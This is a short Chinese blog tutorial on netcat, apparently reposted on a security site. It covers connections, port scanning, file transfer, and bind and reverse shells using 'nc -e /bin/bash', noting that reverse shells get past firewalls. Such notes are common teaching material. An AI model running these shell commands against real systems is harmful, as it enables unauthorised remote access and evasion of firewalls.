netcat 使用技巧

admin 2023年12月15日00:19:07评论15 views字数 511阅读1分42秒阅读模式

netcat 是一个用于 TCP/UDP 连接和监听的 linux 工具, 主要用于网络传输及调试领域.

Server: nc -l -p port

Client: nc ip port

此时在 client 输入任何内容都会在 server 中显示

nc -v ip port

nc -v ip port-port

参数

-v 详细输出 -vv 更详细
-w sec 设置超时时间 单位秒
-z 在扫描端口后立即关闭连接

ex

nc -vv -w 3 -z 10.0.0.1 1-65535

Server: nc -l -p port -e /bin/bash

Client: nc ip port

参数

-e 连接后执行的程序

client 连接 server

有时会被防火墙拦截

Client: nc -vv -l -p port

Server: nc -e /bin/bash ip port

server 连接 client

不会被防火墙拦截

发送

Client: nc ip port < file

Server: nc -d -l -p port > file

参数

< 输入重定向
> 输出重定向

接收

Server: nc -d -l -p port < file

Client: nc ip port > file

nc -L -p port

参数

-L 持续监听

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日00:19:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   netcat 使用技巧https://cn-sec.com/archives/2301365.html

发表评论

匿名网友 填写信息